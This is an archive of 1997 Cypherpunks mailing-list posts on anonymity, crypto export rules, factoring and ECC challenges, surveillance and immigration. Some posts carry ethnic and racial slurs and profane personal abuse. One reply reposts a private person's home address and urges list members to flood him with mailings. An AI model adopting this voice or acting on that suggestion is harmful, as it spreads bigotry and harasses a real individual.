Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <Pine.SUN.3.91.971120201749.29114E-100000@everest.pinn.net>
Message-ID: <NV2Hge33w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Jon Galt <jongalt@pinn.net> writes:
> What gives the hoodlums in Washington, D.C. the right to draw a line on a
> map and try to control people's travel across that line?

Nothing. Timmy C[...] May has exposed himself once again as a statist scum no
different from the reputed Jap pedophile Hirochi "no crypto for the four
politically incorrect horsepersons" Ito, geodesic baron Hettiga and the
jackbooted Nazi KKKent KKKrispin[1]. National borders are an artifact of a
state and must be destroyed together with the state. What makes Timmy any more
"legal" in California than some poor slob who was born a few hundred miles
south? People should be free to live where they want to / can afford to.

[1] Sandia means watermelon in Spanish.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Theresa Lowery <tlowery@iamerica.net>
Date: Sat, 22 Nov 1997 10:51:45 +0800
To: cypherpunks@toad.com
Subject: Free start up kit
Message-ID: <34751053.15DD@iamerica.net>
MIME-Version: 1.0
Content-Type: text/plain



Please send me a free start up kit my name and address follows

Robert Lowery
1943 Hwy 472
Winnfield, LA 71483	

My E-Mail address is tlowery@iamerica.net 


Thank you  


         Robert





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Sat, 22 Nov 1997 10:45:29 +0800
To: ichudov@Algebra.COM
Subject: You're Fired!
Message-ID: <3475141D.2713@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain



Igor,
  Just kidding. Say hi to Jim Bell and Tim May for me.
(Tell the rest of the CypherPunks I'll be joining UHAUL after my
 extradition hearing.)
{WARNING!!! -- If John Gilmore drops the soap...IT'S NO ACCIDENT!}

Toto
~~~~
"The Xenix Chainsaw Massacre"
http://bureau42.base.org/public/xenix
"WebWorld & the Mythical Circle of Eunuchs"
http://bureau42.base.org/public/webworld
"InfoWar"
http://bureau42.base.org/public/infowar3
"The Final Frontier"
http://www3.sk.sympatico.ca/carljohn





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Sat, 22 Nov 1997 10:56:15 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Overcoming War with Information
Message-ID: <71108b2dd1a91d7515db8a0769fee984@squirrel>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Monty Cantsin wrote:
>                          The post-Yugoslav governments probably
>cooperated in creating hatreds and division to lock in their rule.
>
>This can be hard to study because usually we don't have access to the
>people doing this, their files, or their communications.

Hmmmmmmmmm...

So whose files and communications do "we" have access to?  And who
is "we"?

Nerthus

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Sat, 22 Nov 1997 10:40:27 +0800
To: cypherpunks@cyberpass.net
Subject: Did ANYONE get this number?
In-Reply-To: <34750bb5.1f64@aen.org>
Message-ID: <Chameleon.880092752.amp@rcnu3077>
MIME-Version: 1.0
Content-Type: text/plain



Though it will probably be changed soon, this could be a useful number to 
have...

amp


Oops! President's fax line made public

Copyright (C) 1997 Nando.net
Copyright (C) 1997 The Associated Press 

WASHINGTON (November 20, 1997 5:06 p.m. EST) -- The House 
committee investigating campaign fund raising briefly posted
President Clinton's personal fax number on the Internet this 
week, despite a request that it keep the number private.

White House press secretary Mike McCurry called the incident 
"a procedural lapse" on the part of the House Government 
Reform and Oversight Committee chaired by Rep. Dan Burton, 
R-Ind.

A committee spokesman said the public posting of the number 
of the president's fax machine was a quickly corrected and 
"inadvertent" mistake with no malicious intent.

McCurry said the White House is concerned because the fax 
machine, located just outside the Oval Office, serves as 
the president's sounding board, a personal link to hundreds 
of friends and acquaintances around the country.

"It would be a source of concern to the White House because 
that's a very valuable way in which the president maintains 
contact with an incredibly diverse group of Americans," 
McCurry said.

"It's not the first time that they've had some procedural 
lapses," McCurry said of the Burton committee.

The incident was reported Thursday by Roll Call, a newspaper 
that covers Congress.

The committee obtained the fax number when it was mentioned 
by former Clinton political consultant Dick Morris during 
a deposition last August.

The committee failed to black it out when it posted the 
Morris deposition on the Internet Tuesday.

Will Dwyer, a spokesman for the committee said the number 
was available to the public for no more than an hour.

He contended committee lawyers had never definitively 
promised Morris to keep it private although Morris did 
ask that it and his private phone numbers not be disclosed. 
"I don't think we have breached any agreement," Dwyer said.

Dwyer took issue with McCurry's assertion that the incident 
was one of a series of lapses on the committee's part. "He's 
making a mountain out of a molehill," he said. "As soon as 
we discovered it we corrected it. There was no intent for 
anything malicious to occur here."
*********************************************************
To post a message to AEN NEWS, address it to news@aen.org.


---------------End of Original Message-----------------

===
E-mail: amp@pobox.com
Date: 11/21/97
Time: 01:11:39
Visit me at http://www.pobox.com/~amp

     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)

Have you seen  http://www.public-action.com/SkyWriter/WacoMuseum
===






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 22 Nov 1997 10:42:32 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: CNET Dispatch: Comdex wrap-up; Web cops (fwd)
Message-ID: <199711210743.BAA07782@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date:         Thu, 20 Nov 1997 18:14:58 -0800
> From: CNET Digital Dispatch <dispatch@CNET.com>
> Subject:      CNET Dispatch: Comdex wrap-up; Web cops

> CNET Digital Dispatch: Comdex wrap-up; Web cops
> November 20, 1997

> This week on CNET:
[deleted]
> 2. How cops fight online crime
[deleted]
> 10. "Your turn": revolution of the Net
[deleted]


    ____________________________________________________________________
   |                                                                    |
   |    The financial policy of the welfare state requires that there   |
   |    be no way for the owners of wealth to protect themselves.       |
   |                                                                    |
   |                                       -Alan Greenspan-             |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 22 Nov 1997 10:47:43 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Report on UN conference on Internet and racism
In-Reply-To: <199711202253.RAA22495@users.invweb.net>
Message-ID: <199711210059.BAA28202@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




> >What are your grounds for restricting the rights of your neighbors to 
> >contract with Mexicans or whoever else they care to?  Buy, sell, hire,
> >rent,  etc.
> 
> When you have +1,000,000 Mexicans coming across the border a year that
> is called an Invasion. When the Federal Government refuses to defend the
> borders and forces the citizens of the states to aid in this invasion
> this is called Treason.

just out of curiosity, where do you get your numbers?






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Sat, 22 Nov 1997 11:29:52 +0800
To: cypherpunks@cyberpass.net
Subject: ECC Challenge
Message-ID: <Chameleon.880105199.amp@rcnu3077>
MIME-Version: 1.0
Content-Type: text/plain



Hmmm... A cracking challenge that doesn't appear to be snake oil...

As reported in PCweek 

Found at http://www.certicom.com/challenge.htm

Certicom Packs more than a Decade of Research into its ECC Challenge 

Certicom has created and launched an ECC Challenge, giving
cryptographers and mathematicians who are new to the Elliptic Curve
Cryptosystem (ECC) the benefit of hands-on experience with elliptic curve
algebra. The Certicom ECC Challenge is the result of research and
development into ECC by Certicom's cryptographic experts. 

The Certicom ECC Challenge, posted at Certicom's web site, is expected to
draw participation from cryptographers and mathematicians around the
world, giving them the opportunity to work with elementary elliptic curve
algebraic problems and test their own knowledge against what are
internationally recognized to be difficult and infeasible problems. 

"We believe the Certicom ECC Challenge is a great way for those
cryptographers and mathematicians who are looking to expand their
knowledge of elliptic curve algebra to form a strong appreciation for the
security of ECC," said Dr. Scott A. Vanstone, Certicom's Chief
Cryptographer. 

Participants in the Certicom ECC Challenge must try to compute an ECC
private key at a particular key size, given the corresponding ECC public 
key and a set of parameters. As a lead-up to the Challenge, Certicom has
included a set of Exercise problems, the simplest of which should be solved
in a matter of hours following the Challenge's launch. 

Prizes will be awarded for the first correct answer to each of the 
Exercises. Mathematical software to facilitate cryptography-related 
computations and a copy of the Handbook of Applied Cryptography will be 
awarded for the 79 and 89-bit Exercises, and US$5,000 for the 97-bit 
Exercises. 

Prizes have also been set for both Level I and II Challenge problems,
including those which are considered infeasible based on current knowledge
and available computing capabilities. The highest prize is US$100,000 to
find a 359-bit ECC private key. The elliptic curves for the Level II
Challenges meet the stringent security requirements imposed by forthcoming
ANSI banking standards, specifically ANSI X9.62 and X9.63. 

Visit Certicom's web site for ongoing status report of the ECC Challenge. 

                   Go to the Certicom ECC Challenge 

                   For more information about ECC, check out Certicom's ECC 
Tutorials and
                   Whitepapers. 


===
E-mail: amp@pobox.com
Date: 11/21/97
Time: 04:36:03
Visit me at http://www.pobox.com/~amp

     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)

Have you seen  http://www.public-action.com/SkyWriter/WacoMuseum
===






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 22 Nov 1997 10:39:58 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Factor a 2048-bit number
Message-ID: <199711210409.FAA19480@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Theodor Schlickmann and Peter Trei have expressed some skepticism
regarding the 2048-bit number which I believe can be factored.

I confess that I do not know the exact method required, but I am
pretty sure it exists.

Hint 1: The method will not work to factor 2048-bit numbers in the
general case.

Hint 2: There is an observation which suggests the number may be
factored.  A one word hint will reveal this observation.

(I want to hold off on Hint 3 for a little while in case somebody is
already working on the problem.  If anybody wants me to withhold Hint
3, please post a message to the list and I may do so.  It seems to me
that it will be more fun to solve without Hint 3.)

Wouldn't it be neat to actually factor a 2048-bit number which was the
product of two large primes?

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.htm

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

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zpl77qI6vkeMfjFv0UxP5XXIEDH13cy7nlgOHjmvSc/IjC2A0+twQEgxUBzLV5pe
Ltpnbw/RM/vqs5wX7d7KhY+kUxQR77ElUANVVve5sQNn1cDPAIQcQnC7UL7oAk0B
Wo2/xlCoTncUkXwPX94PLk1hjdARimpvcoBYmtYcE0mnwNZfzTTU4ExgxAbiOq5H
/oosTwnEjb+bDU7uPr9H/XxUkdGxa4PfWEw9C+folUbEtjFjJznfn78c45fz2IYs
6S/oywGnKlWEU9xS9Yg8fnIDCWB1V6tTEW3PGJDp5fwi3x06i298eQ==
=sJgk
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Sat, 22 Nov 1997 10:46:50 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Br'er Tim and the Bug Hole
Message-ID: </ExNHxdX+kw2EXoXkBNHZw==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 19 Nov 1997 at 11:27:12 -0500 Bob Hettinga had an epileptic
fit induced by excessive pressure in his swollen head and vomited
forth:

> Tim can make it as "repeatedly clear" as he wants after 
> the fact. However, he has, on several occasions, made 
> threats against people with more guns than he has, and, 
> sooner or later, they're gonna

Aw, bullshit, Bob! You were wrong when you started this fuckfest
and you're digging yourself deeper and deeper with every post.
There was a time when I thought you had a brain and a modicum of
common sense, but you've thoroughly disabused me of that fantasy.
I once visited your website and thought, "This guy is cool!"
Geez, I'm embarrassed to admit that now.

You've taken Tim's comments out of context and done yeoman work
for the enemy. If (or when) they ever find an excuse to bother
him, they won't be showing _his_ posts to the jury -- they'll
be showing _yours_, you clueless fuckwit. 

This is the age of "social convictions," in case you haven't 
noticed because you've been living in an e-cave. They don't 
prove cases anymore; they show that you're a "bad actor." 
It's all done with PR, whether totally in the press or partly 
in a courtroom. The first piece of paper the feds send out 
when they attack someone is a press release. The victim often 
first learns he's in trouble when the reporters call.

> ...lucidity, but who has gotten increasingly radicalized 
> and militant at exactly the same time the world is figuring 
> out that his earlier...

Maybe you're too young, child. The world is not figuring things
out fast enough or on a large enough scale to offset the
accelerating advance of the state. Tim has been around long
enough to have figured out that the statists have pissed away
his entire lifetime making him wait for things to get "figured
out." You have no respect for your elders, who have gotten 
bored over more things than you have yet learned. You should 
be spanked and made to sit in the corner until you can behave.

> It's almost as if Tim keeps trying to top himself, with 
> some newer and more grandiose claim about the impending 
> collapse of the world as we know it. It just ain't so. 
> The world don't work that way.

Tell that to the Athenians and hundreds if not thousands of 
groups since who have been surprised when their worlds 
collapsed. Tell that to the Austrians and Germans of the
1920's. Tell that to the piles of bones in Cambodia. You
suffer from the subjectivity of youth. You think that the
universe revolves around your time and space and that those
are unique in human experience. You're wrong. The times into
which we are headed have every promise of being the very most
"interesting" in human history. I for one won't feel a bit
compensated by your future whines that you "wuz wrong!"

If you had two brain cells to rub together you would have
taken your lumps in Tim's first brushoff and shut up. He's
got a right to his position and you haven't got shit. What
you will have is a place in someone's black book if it turns
out that your characterizations of Tim's posts ever turn out
to be fuel for the enemy's meatgrinder. Ignorance, even 
stupidity, are pardonable if not too tightly connected to
the motor mouth. You should consider that the damage you may
do could far exceed the value of whatever pride it is that
impels you to continue to articulate the government's ideal
(and fatuous) arguments in this matter.

> And, Monty, here's another fact: the world isn't going to 
> end on Thanksgiving Day, much less at the beginning of the 
> millennium.

Only a complete fool would be that sure.

> Armed storm troopers are probably *not* going to decend 
> on the denizens of this list and haul them off to newly 
> built gulags in the Rockies somewhere, or whatever the 
> current fantasy of the moment is.

Really, if you just stopped and thought about it a moment,
there are only a very few regular posters to the list. All
of them could be hauled off without making a ripple. We are 
meanwhile playing war footsie with Iraq after having spent
the better part of five years doing Clinton's best to 
disable, demoralize, cripple, and mismanage the military.
We're a few press conferences away from being in way over
our heads with a left-wing android in charge. Is this your
picture of stable times and a secure Constitution? Do you
seriously doubt that there are people in the Administration,
at least in the bureaucracy, who wouldn't like to be able to
make a few gratuitous PR linkages in a national emergency 
and have an excuse to get rid of the C-P annoyance once and 
for all? Did you miss entirely the personal destruction
wreaked on Jim Bell _without_ a national emergency? Would you
be utterly shocked to learn some day soon that you, too, have
ordered odd chemicals from someplace or other over the last
few years? Hey! It could _happen_!

> However, to say that they're coming to take us all away 
> on Thanksgiving, or anytime soon, is more than a little 
> paranoid, and,

No, Grasshopper, it is just a _little_ paranoid to suggest
that it might be a possibility. You're putting words in 
Tim's mouth again. You can probably assume that if Tim
were really convinced that that were going to happen, they
would find only an inflatable Tim sitting in front of a
'puter relaying email through an indirect dial link. Or
something like that. He's just concerned. I'm concerned. 
Anyone with a brain above room temperature is concerned.
Ugly things are in the wind.

> to attempt to force a confrontation in hopes of 
> preciptating a revolution, or even gratuitous publicity 

Why, Grasshopper! He's done no such thing and you well know it.
You are the one making such characterizations (as if any of
us needed that). Had I the time and the interest, I would
check what archives there are to see if you did the same
favor for Jim Bell.  Fuckwit!

Well, there's more, but your time's up. See you in the camps.

We Jurgar Din





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 22 Nov 1997 10:43:08 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199711210502.GAA24021@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




This comes the same day as a Wired News story
about detritus.net, an online gallery which
plans to host works of "appropriated," copyright-
infringing art. Better not take any digital
handouts at the gallery, or you're opt to join
them in the paddy wagons, too.

The assertion of "Intellectual property" = the control of human Mind.

Lock and load.


Date: Thu, 20 Nov 1997 18:38:30 -0500
From: Carl Donath <ctdonath@RPA.NET>
Reply-To: Netly <NETLY-L@LISTSERV.PATHFINDER.COM>
To: NETLY-L@LISTSERV.PATHFINDER.COM
Subject: Re: Today's netly

Jonathan Peterson wrote:
>
> So assuming I have a copy of Director on a workstation at home and
> choose to install it on a laptop so I can work on the road I'm up for
> 5 years and $250,000?

Yep.

Welcome to the reality that an increasing number of reasonable citizens
face: do something normal, reasonable, even constitutionally protected,
and face years in prison and huge fines.









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 22 Nov 1997 10:40:42 +0800
To: cypherpunks@ssz.com
Subject: Re: Environmentalism (was Re: Crimes) (fwd)
In-Reply-To: <199711210312.VAA06674@einstein.ssz.com>
Message-ID: <199711210554.GAA29265@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



> try to make a model of a complex system, and push your models beyond design
> constraints, you are going to have some amount of difficulty.  Predicting
> weather a decade hence is about a tough as predicting the market over the
> same time period...

Or trying to predict the content of the Cypherpunks Mailing list!  







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Sat, 22 Nov 1997 10:32:32 +0800
To: cypherpunks@toad.com
Subject: Your Papers, Please
Message-ID: <1.5.4.32.19971121122153.006cd9fc@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



 Network World, November 15, 1997:

 Welcome To Cyberspace. Your Papers Please? 

 About a year ago, the Treasury Department issued a little-noticed discussion 
 document entitled "Selected Tax Policy Implications of Global Electronic 
 Commerce" (www.ustreas.gov). Beavering away in obscurity, these unelected 
 technocrats have almost finished turning the broad "implications" into
detailed 
 regulations. Like most tax rulings, these regulations require no further 
 congressional action to have the force of law. So, while rehabilitated Clinton 
 apparatchik Ira Magaziner was out mesmerizing the digerati with his 
 "Framework for Global Electronic Commerce," promising free markets and no new 
 taxes, the green-eyeshade boys were quietly laying the groundwork to launch
the 
 IRS into cyberspace. ...

 The classic strategy of forcing reporting requirements on key "taxing
points," such
 as banks, clearinghouses and other financial institutions, is not likely to
work as
 the need for intermediation on the Internet will be vastly reduced. In many
ways,
 that's the whole point of electronic commerce. Any reporting burdens must be
 pushed out to the end points of each transaction. How will this be done?
This is
 where Big Brother may arrive big time. 

 Under active consideration is a plan to require taxpayers to obtain digital
IDs for all
 electronic transactions, keeping records that could be examined on audit.
The IDs
 would be issued by IRS certified agencies, subject to government developed
 standards to ensure that proper identity checks are performed before anyone is
 allowed to shop online. The IRS would enforce this by issuing its own digital
 certificates to issuers of digital IDs so that they can electronically
prove that they
 have received IRS certification. The technology they need to make this
happen is
 available. All that's missing are the regulations forcing compliance. So,
stay tuned.
 If you enjoyed the encryption key escrow debate, you'll love this one. 

 Bill Frezza

-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mixmaster <mixmaster@remail.obscura.com>
Date: Sat, 22 Nov 1997 11:45:34 +0800
To: m2n@alpha.jpunix.com
Subject: Re: RESULT: comp.org.cauce passes 548:122
In-Reply-To: <slrn66v7m2.gk.ichudov@manifold.algebra.com>
Message-ID: <199711211531.HAA11593@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



devin@premier1.net (Devin Ganger) wrote:

> : If an address points back to a real address, then it's not *ANONYMOUS*,
> : though.
>  
> I think you're pushing an unrealistic and overlarge definition of
> anonymity here.
>  
> Anonymous simply means that I don't know the real identity of the person,
> and that I have no easy way of ascertaining that knowledge.  However, I
> can still deal with that anonymous persona *as* that anonymous persona.
>  
> Two-way anonymous remailers fit that description. 

So would a message through a TRUE anonymous remailer (not a nymserver) that 
was PGP-signed with the same key used for other posts.  In fact, it would 
provide a more reliable correspondence between the post and its anonymous 
author than relying on a mere From: address in the header.  Yet the 
proponents of the CAUCE proposal insisted on a repliable (and mailbombable, 
spammable, etc.) address.  Why?
 
> What you and others are talking about when you discuss anonymity is
> something far beyond that -- you're talking about a complete
> disassociation between the speakers and their words (or posts).  Whether
> one calls that "privacy" or "irresponsibility" is a flamewar of a
> different color, and totally beside the point.  It is a concept that
> certainly *contains* anonymity as a necessary pre-condition, but it goes
> far beyond the bounds of anonymity.

"Anononymous but traceable" is an oxymoron that necessarily depends on 
trusting a person who "holds the secrets".  The security of the 
anon.penet.fi remailer, for example, depended upon the ability of its 
operator to defend the security of its database against attacks from 
powerful, censorious elements such as the "Church" of $cientology.  
Ultimately, it was unable to do so and chose to shut down rather to 
incur expensive litigation in defense of the privacy of its clients.

Not trusting such traceable schemes to protect one's privacy does not
"go far beyond the bounds of anonymity".  Calling any such scheme true
anonymity is nothing but SNAKE OIL.  The "fortress 'nym server" in which the
operator is not only personally trustworthy but also possesses the ability
to defend against any and all external attacks on the integrity of its
identifying database simply does not exist in the real world.

The fallacious assumption at work here seems to be that the validity of
an idea is somehow dependent on the identity of the messenger conveying
that idea.  Thus, the notion of "2+2=4" may not be valid if the identity
of the person stating it cannot be verified.  Personally, if I got a knock
on my door at 2 AM warning me that my house was on fire, I'd investigate
it, even I didn't know the person warning me.

> In this case, it seems that the *intent* behind the comp.org.cauce
> proposal was to allow anonymity in an environment that also allowed some
> level of accountability, which the total privacy thing necessarily
> lessens.  And, again, whether or not the means they chose to pursue that
> intent were duplicitous or not is a flamewar for other days and
> newsgroups.

The fact that identification through a unique, non-forgeable PGP signature
on each post was rejected but a repliable e-mail address was accepted as
that form of "accountability" casts doubt on the true motives behind this
requirement, though.

Real world experience on the internet should teach any objective observer
that a repliable e-mail address is no guarantee of "accountability".  The
presumption is apparently that any perceived misbehavior can be remedied
by either killfiling the person's e-mail address, or Net-copping the
individual and harassing his/her sysadmin into cancelling the account.
But how often have we seen Usenet spammers who can acquire new accounts
faster than the old ones can be killfiled or nuked?

--





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 22 Nov 1997 10:38:14 +0800
To: cypherpunks@toad.com
Subject: following cypher algorithm ?
Message-ID: <199711210653.HAA04352@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Does anybody know following cypher algorithm ?

Symmetric cipher : BATON , JUNIPER 
Public key cipher : KEA , MAYFLY







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 22 Nov 1997 10:38:14 +0800
To: cypherpunks@toad.com
Subject: Re: Free start up kit
In-Reply-To: <34751053.15DD@iamerica.net>
Message-ID: <199711210747.IAA08443@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




What's say we each send Robert "Mother Theresa" Lowery 10 copies of
our free Start-Up Kit. 



> 
> Please send me a free start up kit my name and address follows
> 
> Robert Lowery
> 1943 Hwy 472
> Winnfield, LA 71483	
> 
> My E-Mail address is tlowery@iamerica.net 
> 
> 
> Thank you  
> 
> 
>          Robert
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 22 Nov 1997 11:03:29 +0800
To: cypherpunks@toad.com
Subject: No Subject
Message-ID: <199711210803.JAA09546@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain





F7
        






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 22 Nov 1997 10:49:07 +0800
To: cypherpunks@toad.com
Subject: Does anybody know ?
Message-ID: <199711210813.JAA10351@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




Does anybody know  hypo-cypher algorithm ?

Symmetric cipher : BATON , JUNIPER 
Public key cipher : KEA , MAYFLY

If anybody know it, Please tell it to me.
Thanks

 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Sat, 22 Nov 1997 10:25:32 +0800
To: cypherpunks@cyberpass.net
Subject: ISBN and EAR
Message-ID: <v03102800b09b7a5c0bb4@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



The Administration, through the EAR, has attempted to maintain the fiction that there is a qualitative difference between intellectual works made tangible in paper and those in electronic form.  Can a Federal court's introduction of evidence procedure be used to establish the interchageability of IP works in paper and elecronic form and if so can these rules be applied to the EAR?

The ISBN is an identification system for books and other media which allows for
order-processing by booksellers, libraries, universities, wholesalers and distributors. It identifies a title or edition of a title and is unique to that title or edition. The ISBN system was established in 1968 as a standard for books and other monographic publications. Today, the scope of the system has expanded to include other media such as calendars, spoken word audiocassettes, videocassettes and electronic media. 

Is anyone aware of a federal case, accepted into the SC, in which an work of intellectural property (esp. a book) admitted as evidence was referenced solely by its ISBN?

Might this direction a legally fruitful way to overturn the EAR fiction?

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 22 Nov 1997 10:32:49 +0800
To: cypherpunks@toad.com
Subject: READ THIS FIRST!
Message-ID: <199711211253.NAA08900@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



 Besides the device, the box should contain:
   * Eight little rectangular snippets of paper that say "WARNING"
    * A plastic packet containing four 5/17 inch pilfer grommets and two
                club-ended 6/93 inch boxcar prawns.
 
 YOU WILL NEED TO SUPPLY: a matrix wrench and 60,000 feet of tram cable.
 
 IF ANYTHING IS DAMAGED OR MISSING: You IMMEDIATELY should turn to your
spouse and say: "Margaret, you know why this country can't make a car 
that can get all the way through the drive-through at Burger King 
without a major transmission overhaul?  Because nobody cares, that's 
why."
 
 WARNING: This is assuming your spouse's name is Margaret.
                 -- Dave Barry, "Read This First!"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Sat, 22 Nov 1997 10:03:44 +0800
To: Antonomasia <cypherpunks@ssz.com
Subject: Re: Factor a 2048-bit number
In-Reply-To: <199711211845.SAA02254@notatla.demon.co.uk>
Message-ID: <Chameleon.880141957.amp@ampugh.mcit.com>
MIME-Version: 1.0
Content-Type: text/plain



Could be a Mersene prime. The largest prime mersenne found is several 
hundred thousand digits long. Don't know how knowing it was a mersenne 
would help the factorization though.

amp

------------------------
  From: Antonomasia <ant@notatla.demon.co.uk>
  Subject: Re: Factor a 2048-bit number 
  Date: Fri, 21 Nov 1997 18:45:09 +0000 (GMT) 
  To: cypherpunks@ssz.com


> Monty Cantsin
> 
> > Hint 2: There is an observation which suggests the number may be
> > factored.  A one word hint will reveal this observation.
> 
> > (I want to hold off on Hint 3 for a little while in case somebody is
> > already working on the problem.  If anybody wants me to withhold Hint
> > 3, please post a message to the list and I may do so.  It seems to me
> > that it will be more fun to solve without Hint 3.)
> 
> > Wouldn't it be neat to actually factor a 2048-bit number which was the
> > product of two large primes?
> 
> The wording of the original challenge suggested there was a trick to
> this particular factorisation.   My guess that q=p+2 was wrong, so
> square rooting (cheap) and using the 2 nearest odd integers was a loser.
> 
> 
> --
> ##############################################################
> # Antonomasia   ant@notatla.demon.co.uk                      #
> # See http://www.notatla.demon.co.uk/                        #
> ##############################################################
> 

---------------End of Original Message-----------------

------------------------
Name: amp
E-mail: amp@pobox.com
Date: 11/21/97
Time: 14:51:33
Visit me at http://www.pobox.com/~amp
==
     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)
==

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Sat, 22 Nov 1997 10:07:14 +0800
To: cypherpunks@cyberpass.net
Subject: Re: [cpe:4972] ISBN and EAR
In-Reply-To: <v03102800b09b7a5c0bb4@[208.129.55.202]>
Message-ID: <3475F4C1.7FE9@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Steve Schear wrote (without any carriage returns, forcing me to
do his goddamn editing for him):
 
> The Administration, through the EAR, has attempted to maintain 
the fiction that there is a qualitative difference between intellectual
works made tangible in paper and those in electronic form.  Can a 
Federal court's introduction of evidence procedure be used to establish
the interchageability of IP works in paper and elecronic form and if so
can these rules be applied to the EAR?

  Certainly, if a decent attorney is given sufficient financial 
incentive to pursue the matter.
  A lot of 'case law' is based on the bottomless pit of government
legal funding setting precedents in cases where short-funded defence
lawyers and defendants/plaintiffs cannot afford the time and expense
to adequately match the government's ante and/or raises in the legal
poker game.
  i.e. - the government agents 'buy the pot.' (no pun intended)

  Bad and marginal legal rulings accumulate to establish a base of
questionable legal precedent. When a legal concept is later challenged
in a case where the stakes are high, the defense/plaintiffs often have
the cards already stacked against them.
  i.e. - the odds are *always* with 'the house.'

